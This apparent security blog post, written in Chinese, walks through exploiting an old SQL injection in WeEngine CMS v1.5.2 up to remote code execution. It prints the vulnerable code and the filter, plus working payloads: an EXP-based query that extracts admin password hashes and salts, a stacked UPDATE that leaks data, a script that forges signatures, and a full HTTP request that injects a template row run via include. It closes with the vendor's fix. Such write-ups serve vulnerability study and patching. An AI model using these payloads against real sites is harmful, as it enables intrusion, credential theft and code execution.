长亭百川云 - 文章详情

微擎 CMS:从 SQL 到 RCE

技术猫屋

173

2024-07-13

0x01 写在前面

微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞:

api.php536 行

该处的注入漏洞网上没有出现过分析文章,因此本文就来分析一下该处 SQL 注入的利用。

注意:本文仅作学习,请勿用于非法行为。

0x02 影响版本

经过测试发现,官网在 GitLee 上,在 v1.5.2 存在此漏洞,在 2.0 版本修复了该漏洞,因此目测至少影响到 v1.5.2 版本

0x03 SQL 注入漏洞分析

这个注入漏洞分析还是比较简单的,直接定位到存在漏洞的代码处api.php 530 行开始、564 行开始的两个函数:



* * *

``private function analyzeSubscribe(&$message) {           global $_W;           $params = array();           $message['type'] = 'text';           $message['redirection'] = true;           if(!empty($message['scene'])) {               $message['source'] = 'qr';               $sceneid = trim($message['scene']);               $scene_condition = '';               if (is_numeric($sceneid)) {                   $scene_condition = " `qrcid` = '{$sceneid}'";               }else{                   $scene_condition = " `scene_str` = '{$sceneid}'";               }               $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");               if(!empty($qr)) {                   $message['content'] = $qr['keyword'];                   if (!empty($qr['type']) && $qr['type'] == 'scene') {                       $message['msgtype'] = 'text';                   }                   $params += $this->analyzeText($message);                   return $params;               }           }           $message['source'] = 'subscribe';           $setting = uni_setting($_W['uniacid'], array('welcome'));           if(!empty($setting['welcome'])) {               $message['content'] = $setting['welcome'];               $params += $this->analyzeText($message);           }              return $params;       }          private function analyzeQR(&$message) {           global $_W;           $params = array();           $params = $this->handler($message['type']);           if (!empty($params)) {               return $params;           }           $message['type'] = 'text';           $message['redirection'] = true;           if(!empty($message['scene'])) {               $message['source'] = 'qr';               $sceneid = trim($message['scene']);               $scene_condition = '';               if (is_numeric($sceneid)) {                   $scene_condition = " `qrcid` = '{$sceneid}'";               }else{                   $scene_condition = " `scene_str` = '{$sceneid}'";               }               $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");              }           if (empty($qr) && !empty($message['ticket'])) {               $message['source'] = 'qr';               $ticket = trim($message['ticket']);               if(!empty($ticket)) {                   $qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'");                   if(!empty($qr)) {                       if(count($qr) != 1) {                           $qr = array();                       } else {                           $qr = $qr[0];                       }                   }               }           }           if(!empty($qr)) {               $message['content'] = $qr['keyword'];               if (!empty($qr['type']) && $qr['type'] == 'scene') {                   $message['msgtype'] = 'text';               }               $params += $this->analyzeText($message);           }           return $params;       }   ``

analyzeSubscribe函数中的 SQL 语句:

 $qr \= pdo\_fetch("SELECT \`id\`, \`keyword\` FROM " . tablename('qrcode') . " WHERE {$scene\_condition} AND \`uniacid\` = '{$\_W\['uniacid'\]}'");

直接将$scene_condition变量拼接到了pod_fetch函数中,而$scene_condition变量值来自于$sceneid = trim($message['scene']);,可以看到仅仅是做了移除字符串两侧空白字符处理。那么就可以通过构造$message['scene']的值,去构造 SQL 语句。

analyzeQR函数中也是类似,因此我们以analyzeSubscribe函数为例来分析构造poc。

0x04 SQL 注入构造分析

微擎中为了避免 SQL注入,实现了包括参数化查询、关键字&字符过滤的方式。

过滤的内容如下:

framework/class/db.class.php 700 行:



* * *

`private static $disable = array(           'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'),           'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'),           'note' => array('/*', '*/', '#', '--'),       );   `

可以看到禁用了以下函数:

  • load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user

禁用了以下关键字:

  • @、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date

禁用了以下注释符:

  • /**/--#

所以对于构造 payload 来说还是造成了一定的麻烦。

首先将函数中 SQL 语句还原如下:

 SELECT \`id\`, \`keyword\` FROM ims\_qrcode where \`scene\_str\` \= ? and uniacid \= $\_W\['uniacid'\];

那么如果我们想查询到管理员账号密码且不包含相关敏感字符,则可以使用 exp语句,如下示例:

 SELECT \`id\`, \`keyword\` FROM ims\_qrcode where \`scene\_str\` \= 1 AND(EXP(~(SELECT\*from(select group\_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims\_users)a))) and uniacid \= $\_W\['uniacid'\];

具体构建由于本地 MySQL 版本不合适,因此就不写了。

这里来说下另一种注入方式。

我们知道微擎里的 SQL 语句使用的是 PDO 查询,因此支持堆叠注入。

但要注意的是,使用 PDO 执行 SQL 语句时,虽然可以执行多条 SQL语句,但只会返回第一条 SQL 语句的执行结果,所以第二条语句中需要使用 update 更新数据且该数据我们可以通过页面看到,这样才可以获取数据。

经过测试发现,微擎支持注册用户,如下图所示:

登陆后可以在个人中心看到:

邮寄地址就是一个很好的显示地方,也就是说可以执行以下语句。

 update ims\_users\_profile set address\=(select username from ims\_users where uid \=1 ) where uid\=2;

语句中的2是注册后账号的uid,可以从 cookie中找到:

但是这里有一个问题,就是在我们注入的时候,首先要验证:

api.php 181行:



* * *

`if(empty($this->account)) {               exit('Miss Account.');   }   if(!$this->account->checkSign()) {               exit('Check Sign Fail.');   }`

跟进checkSign()


public function checkSign() {

        $arrParams = array(  
            $token = $this->account['token'],  
            $intTimeStamp = $_GET['timestamp'],  
            $strNonce = $_GET['nonce'],  
        );  
        sort($arrParams, SORT_STRING);  
        $strParam = implode($arrParams);  
        $strSignature = sha1($strParam);  
  
        return $strSignature == $_GET['signature'];  
    }

可以看到有三个变量需要我们去验证,其生成规则在api.php 129 行的encrypt函数,如下:



* * *

`public function encrypt() {           global $_W;           if(empty($this->account)) {               exit('Miss Account.');           }           $timestamp = TIMESTAMP;           $nonce = random(5);           $token = $_W['account']['token'];           $signkey = array($token, TIMESTAMP, $nonce);           sort($signkey, SORT_STRING);           $signString = implode($signkey);           $signString = sha1($signString);              $_GET['timestamp'] = $timestamp;           $_GET['nonce'] = $nonce;           $_GET['signature'] = $signString;           $postStr = file_get_contents('php://input');           if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) {               $data = $this->account->encryptMsg($postStr);               $array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);           } else {               $data = array('', '');               $array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);           }           exit(json_encode($array));       }   `

其中timestamp是时间戳、nonce是5 位随机字符串、signature是由 sha1加密后的$signString,而$signString是由 tokentimestampnonce组成。可以看到,是硬编码生成,因此可以通过print_r($_W)得到token值,如下:

所以可以利用以下代码生成:



* * *

`<?php   $timestamp = time();   $nonce = random(5);   $token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";   $signkey = array($token, $timestamp, $nonce);   sort($signkey, SORT_STRING);   $signString = implode($signkey);   $signString = sha1($signString);   echo $timestamp . " | ".$nonce." | ".$signString;   function random($length) {           $strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';           $result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length);           return $result;       }   ?>   `

得到:

 1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22

然后根据官网文档中的消息格式:

所以最终的 payload 为:

最终在个人中心可以看到:

但是这种方式比较鸡肋和费事,一是解密非常难,二是如果直接添加账号也会留下很多痕迹,三是即是登录后,还要拿 shell。

那么有没有一步到位的方法?

0x05 从 SQL 到 RCE

/app/source/home/page.ctrl.php文件:



* * *

`$do = in_array($do, $dos) ? $do : 'index';   $id = intval($_GPC['id']);      if($do == 'getnum'){       $goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));       message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax');   } elseif($do == 'addnum'){       if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) {           $goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));           if(!empty($goodnum)){               $updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id));               if(!empty($updatesql)) {                   isetcookie('__havegood['.$id.']', $id, 86400*30*12);                   message(error('0', ''), '', 'ajax');               }else {                    message(error('1', ''), '', 'ajax');               }           }               }   } else {       $footer_off = true;       template_page($id);   }   `

首先判断$do的类型,如果不是getnumaddnum时,进入template_page函数。

跟进/app/common/template.func.php 111行:



* * *

`function template_page($id, $flag = TEMPLATE_DISPLAY) {       global $_W;       $page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id));       if (empty($page)) {           return error(1, 'Error: Page is not found');       }       if (empty($page['html'])) {           return '';       }       $page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);       $page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_', $page['html']);       $page['params'] = json_decode($page['params'], true);       $GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8');       $GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));;          $compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";       $path = dirname($compile);       if (!is_dir($path)) {           load()->func('file');           mkdirs($path);       }       $content = template_parse($page['html']);       if (!empty($page['params'][0]['params']['bgColor'])) {           $content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>';       }       $GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu'];       file_put_contents($compile, $content);       switch ($flag) {           case TEMPLATE_DISPLAY:           default:               extract($GLOBALS, EXTR_SKIP);               template('common/header');               include $compile;               template('common/footer');               break;           case TEMPLATE_FETCH:               extract($GLOBALS, EXTR_SKIP);               ob_clean();               ob_start();               include $compile;               $contents = ob_get_contents();               ob_clean();               return $contents;               break;           case TEMPLATE_INCLUDEPATH:               return $compile;               break;       }   }   `

首先根据idims_site_page数据表里读取页面信息,然后过滤掉敏感信息,最后通过file_put_contents写入到$compile,然后在switch中被包含include $compile;

因此我们可以利用 SQL 注入,向ims_site_page表中插入一句话数据。如下:

 POST /wq/new/api.php?id=1&timestamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1  
 Host: 192.168.49.47  
 Pragma: no-cache  
 Cache-Control: no-cache  
 Upgrade-Insecure-Requests: 1  
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36  
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
 Accept-Encoding: gzip, deflate  
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7  
 Connection: close  
 Content-Length: 440  
   
 <xml>  
 <ToUserName>one</ToUserName>  
 <FromUserName>two</FromUserName>  
 <CreateTime>1348831806</CreateTime>  
 <MsgType>qr</MsgType>  
 <Content>test</Content>  
 <type>text</type>  
 <Event>hello</Event>  
 <scene>test';insert into ims\_site\_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','\[{"params":{"thumb":""}}\]','{if phpinfo())?>//}','8','9','10','11','12');</scene>  
 </xml>

这里的模板内容PHP 代码可以参考:

PHP语句:

https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542)

然后根据官网文档路由介绍(https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103484):

则有:

成功执行代码

0x06 漏洞修复

这个漏洞主要就是由 SQL 注入引起的,因此修复 SQL 注入后,后续的包含也没法继续利用了。

官方修复方式如下:

改成了微擎自带的参数化查询。

0x07 写在最后

由于这个是老洞了,所以在搭建上坑点不少,但是漏洞很好理解。

最后感谢续师傅的指导,周末还继续带我学习(膜~

0x08 参考

https://www.kancloud.cn/donknap/we7/134649

https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542

https://wiki.w7.cc/chapter/35?id=507

https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2